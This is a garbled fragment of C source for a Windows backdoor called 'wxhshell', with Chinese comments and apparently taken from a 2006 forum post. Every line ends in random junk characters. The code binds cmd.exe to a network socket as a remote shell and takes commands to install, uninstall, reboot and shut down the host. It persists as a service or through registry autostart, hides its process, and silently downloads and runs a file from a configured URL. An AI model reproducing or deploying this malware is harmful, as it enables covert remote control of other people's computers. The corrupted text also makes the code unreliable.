    switch(cmd[0]) { up{0ehr  
  4E2#krE%  
  // 帮助 {#st>%i  
  case '?': { jzJQ/ZFS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Gphy8~eS  
    break; n }b{u@$  
  } XV/7K "  
  // 安装 [>N#61CV 5  
  case 'i': { 0SU v5c  
    if(Install()) p>,D F9W`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g$ HL::  
    else No"i6R+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ul3~!9F5F  
    break; Tw djBMte  
    } 8 :WN@  
  // 卸载 h/oun2C  
  case 'r': { Fv7]1EO.  
    if(Uninstall()) [n2zdiiBd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^vxx]Hji  
    else ,,H;2xYf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F!3p )?  
    break; :pM)I5MN[  
    } R%4Yg(-Q  
  // 显示 wxhshell 所在路径 @ <3E `j'p  
  case 'p': { L[ZS17 ;*  
    char svExeFile[MAX_PATH]; +m]-)  
    strcpy(svExeFile,"\n\r"); gzlxkv-F{  
      strcat(svExeFile,ExeFile); O&MH5^I  
        send(wsh,svExeFile,strlen(svExeFile),0); whYk"N  
    break; wK0x\V6dJ  
    } b}fC' h  
  // 重启 BYu(a  
  case 'b': { >|, <9z`D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W/\pqH  
    if(Boot(REBOOT)) )H@<A93  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <jh7G  
    else { :-O$rm  
    closesocket(wsh); 'j*Q   
    ExitThread(0); qH0JZdk  
    } %X's/;(Lx`  
    break; sBYDo{0 1  
    } 4evNZ Q  
  // 关机 @D=B5f@(o  
  case 'd': { Dt<MEpbur  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qSlo)aP  
    if(Boot(SHUTDOWN)) YzQ(\._s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K>vl o/#!  
    else { ^mjU3q{;  
    closesocket(wsh); @Co6$<  
    ExitThread(0); pfu"vo(t_  
    } OwEV$Q  
    break; GZWqP M4S\  
    } epKr6 xq  
  // 获取shell @sG*u >   
  case 's': { U# [T!E  
    CmdShell(wsh); +pq) 7  
    closesocket(wsh); yZ 7)|j  
    ExitThread(0); Vpp$yM&?  
    break; .rG~\Ws  
  } w_o+;B|I  
  // 退出 oexTz[  
  case 'x': { R(pQu! K4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); P>u2""c  
    CloseIt(wsh); fPHV]8Ft|  
    break; 0<:rp]<,  
    } Kp*3:XK  
  // 离开 f[D%(  
  case 'q': { ,"5HJA4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qy"%%keV'T  
    closesocket(wsh); EcX7wrl9x  
    WSACleanup(); p[o]ouTcS  
    exit(1); jygUf|  
    break; eI:x4K,#  
        } ]KEE+o  
  } -~aG_Bp!($  
  } cWyf04-?  
WMnSkO  
  // 提示信息 W!T[ ^+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s-5 #P,Lw  
} r>! @Z2%s  
  } 9(qoME}>=  
bDIhI}P  
  return; yUf`L=C:  
} b$0;fEvIJn  
?]bx]Y;  
// shell模块句柄 ZbVn"he  
int CmdShell(SOCKET sock) )X," NJG  
{ y`8U0TE3R  
STARTUPINFO si; Ym"^Ds}  
ZeroMemory(&si,sizeof(si)); ]hy@5Jyh  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Du +_dr^4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; QHja4/  
PROCESS_INFORMATION ProcessInfo; WF*j^ %5  
char cmdline[]="cmd"; xjF>AAM_Px  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~:k r;n2  
  return 0; )7!,_r  
} %QrOEs  
<$hv{a  
// 自身启动模式 4YI6&  
int StartFromService(void) c%O97J.5b  
{ Ek_&E7  
typedef struct )MSCyPp5  
{ A$7K5   
  DWORD ExitStatus; @aN~97 H\  
  DWORD PebBaseAddress; k"%JyO8Y  
  DWORD AffinityMask; Nt]nwae>A  
  DWORD BasePriority; AX&Emz-  
  ULONG UniqueProcessId; GIkeZV{4}  
  ULONG InheritedFromUniqueProcessId; Ct?xTFb  
}   PROCESS_BASIC_INFORMATION; [O'aka Q  
Y@k=m )zE  
PROCNTQSIP NtQueryInformationProcess; 3N!v"2!#  
Vt \g9-[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =jh^mD&'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mv/ SU">F  
nh0gT>a>@  
  HANDLE             hProcess; <+r~?X_  
  PROCESS_BASIC_INFORMATION pbi; 8+7*> FD)1  
RTvOaZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K@DFu5  
  if(NULL == hInst ) return 0; <&`Rf6  
&hI!0DixX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UroC8Tm  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2"|7 YI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #@w/S:KbJt  
(VmFYNt&  
  if (!NtQueryInformationProcess) return 0; **z^aH?B2  
~`Vo0Z*S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pzjNi=vhd  
  if(!hProcess) return 0; 8kSyT'k C%  
]8OmYU%6V  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; etX(~"gG_  
\p}GW  
  CloseHandle(hProcess); k >.U!  
k,'MmAz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <\uDtbK  
if(hProcess==NULL) return 0; S&y${f  
/qwY/^  
HMODULE hMod; !mWm@ }Ujg  
char procName[255]; ~iiDy;"  
unsigned long cbNeeded; i9rv8 "0>  
Gg GjBt  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -R1;(n)  
w(Tr ,BFF  
  CloseHandle(hProcess); uVhzJu.  
tI^[|@,  
if(strstr(procName,"services")) return 1; // 以服务启动 pRxVsOb  
FIAmAZH}_  
  return 0; // 注册表启动 % jf|efxo  
} 7rbw_m`12-  
'byTM?Sp{  
// 主模块 (RrC<5"  
int StartWxhshell(LPSTR lpCmdLine) o(> #}[N}  
{ Z  eY *5m  
  SOCKET wsl; )+Z.J]$O-  
BOOL val=TRUE; J4 j:nd  
  int port=0; +\dKe[j{g  
  struct sockaddr_in door; C|g1:#0  
]oz>/\!  
  if(wscfg.ws_autoins) Install(); qf ]le]J  
fuCt9Kjo<  
port=atoi(lpCmdLine); E@)'Z6r1  
vaHtWz!P  
if(port<=0) port=wscfg.ws_port; Uc ,..  
|9.J?YP8 (  
  WSADATA data; _I3"35a  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  Y%y  
B<Cg_C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2'OY,Ooe  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @qW$un:  
  door.sin_family = AF_INET; 7I]?:%8 h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nFI<Te^)  
  door.sin_port = htons(port); t5i58@{~  
%[~g84@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -vc$I=b;  
closesocket(wsl); vg@5`U`^h  
return 1; 9C Ki$L  
} ,JbP~2M~%  
yA*U^:%  
  if(listen(wsl,2) == INVALID_SOCKET) { c68y\  
closesocket(wsl); 5A 5t  
return 1;  @e\ @EW  
} _\,lv \u  
  Wxhshell(wsl); [h&s<<# D  
  WSACleanup(); c=?6`m,"M  
i| ,}y`C#  
return 0; YwZx{%f  
4s'%BM-r-  
} 5{iNR4sq  
/[/{m]  
// 以NT服务方式启动 $\1M"a}F  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) omPxU2Jw  
{ /CKnXU;  
DWORD   status = 0; lt]&o0>  
  DWORD   specificError = 0xfffffff; r}Gku0Hu_E  
5&_")k3$*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #cW :04  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ZFH-srs{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]mNsG0r6  
  serviceStatus.dwWin32ExitCode     = 0; Oi$1maxT  
  serviceStatus.dwServiceSpecificExitCode = 0; m!^$_d\%~  
  serviceStatus.dwCheckPoint       = 0; Uugq.'>  
  serviceStatus.dwWaitHint       = 0; R^$EnrY(<  
=b1 y*?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); X&rsWk  
  if (hServiceStatusHandle==0) return; <4@8T7  
N'l2$8  
status = GetLastError(); (]&B' 1b  
  if (status!=NO_ERROR) 9H:J&'Xi7  
{ Ly2!(,FB.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]BRwJ2< x  
    serviceStatus.dwCheckPoint       = 0; :9x]5;ma  
    serviceStatus.dwWaitHint       = 0; * uccY_  
    serviceStatus.dwWin32ExitCode     = status; p0l.f`B  
    serviceStatus.dwServiceSpecificExitCode = specificError; s`[V{1m,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dWi.V?K4z  
    return; pEN`6*  
  } t,0}}9%?  
\h0+` ;Q  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +7 j/.R  
  serviceStatus.dwCheckPoint       = 0; Lc]hwMGR*  
  serviceStatus.dwWaitHint       = 0; dN:^RCFzS  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fk1d iB  
}  rf'A+q  
Vu4LC&q  
// 处理NT服务事件,比如:启动、停止 \`2EfYJ{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) U#PgkP[4  
{ Fe$o*r,  
switch(fdwControl) ]-a/)8  
{ G-]<+-Q$4  
case SERVICE_CONTROL_STOP: OR' e!{  
  serviceStatus.dwWin32ExitCode = 0; Nr)DU.f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; -?{g{6  
  serviceStatus.dwCheckPoint   = 0; pX!T; Re;  
  serviceStatus.dwWaitHint     = 0; [0kZyjCq@  
  { QG L~??  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <m{#u4FC'  
  } {9j0k`A  
  return; x5;D'Y t"|  
case SERVICE_CONTROL_PAUSE: Q?([#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; KiE'O{Y  
  break; /M3;~sx  
case SERVICE_CONTROL_CONTINUE: RX^8`}N  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CO@ kLI  
  break; )Wt&*WMFXl  
case SERVICE_CONTROL_INTERROGATE: @<4U &  
  break; l>BM}hS  
}; OS>%pgv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 10r!p: D  
} **AkpV)  
yOXEP  
// 标准应用程序主函数 4&e<Sc64  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) maQxU(  
{ e8xNZG;  
jJ2{g> P0P  
// 获取操作系统版本 xH,e$t#@@~  
OsIsNt=GetOsVer(); 0lOan  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4W E)2vkS  
>lek@euqw  
  // 从命令行安装 I)r6*|mz  
  if(strpbrk(lpCmdLine,"iI")) Install(); e85E+S%  
MAX?,- x  
  // 下载执行文件 9q&~!>lt  
if(wscfg.ws_downexe) { gF2 93Ez  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q%]5/.J  
  WinExec(wscfg.ws_filenam,SW_HIDE); e~,+rM  
} .>_%12>  
opzlh@R 3  
if(!OsIsNt) { _o+OkvhU  
// 如果时win9x,隐藏进程并且设置为注册表启动 XMxm2-%olP  
HideProc(); W4(  
StartWxhshell(lpCmdLine); HB.:/ 5\  
} -sDl[  
else A5%Now;.cf  
  if(StartFromService()) 6-5{7E}/b  
  // 以服务方式启动 &H}Xk!q5b^  
  StartServiceCtrlDispatcher(DispatchTable); W&I:z-VH  
else GGZ9DC\{  
  // 普通方式启动 auY?Cj'"fs  
  StartWxhshell(lpCmdLine); ]1h9:PF  
|A0U 3$S=  
return 0; v9f%IE4fX  
}
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只看该作者 1 发表于: 2006-10-10
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